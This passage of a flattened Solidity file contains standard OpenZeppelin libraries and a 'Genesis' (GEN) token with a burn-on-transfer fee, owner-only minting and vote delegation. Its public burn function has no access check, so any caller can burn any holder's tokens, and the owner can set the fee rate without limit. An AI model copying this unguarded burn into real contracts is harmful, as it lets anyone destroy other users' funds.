* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/Genesis.sol
pragma solidity 0.6.12;
contract Genesis is ERC20("Genesis Token", "GEN"), Ownable {
using SafeMath for uint256;
uint8 public FeeRate = 3;
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
uint256 feeAmount = amount.mul(FeeRate).div(100);
_burn(msg.sender, feeAmount);
return super.transfer(recipient, amount.sub(feeAmount));
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
uint256 feeAmount = amount.mul(FeeRate).div(100);
_burn(sender, feeAmount);
return super.transferFrom(sender, recipient, amount.sub(feeAmount));
}
/**
* @dev Chef distributes newly generated Genesis to each farmmers
* "onlyOwner" :: for the one who worries about the function, this distribute process is only done by MasterChef contract for farming process
*/
function distribute(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
/**
* @dev Burning token for deflanationary features
*/
function burn(address _from, uint256 _amount) public {
_burn(_from, _amount);
}
/**
* @dev Tokenomic decition from governance
*/
function changeFeeRate(uint8 _feerate) public onlyOwner {
FeeRate = _feerate;
}
mapping (address => address) internal _delegates;
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Genesis Token::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Genesis Token::delegateBySig: invalid nonce");
require(now <= expiry, "Genesis Token::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
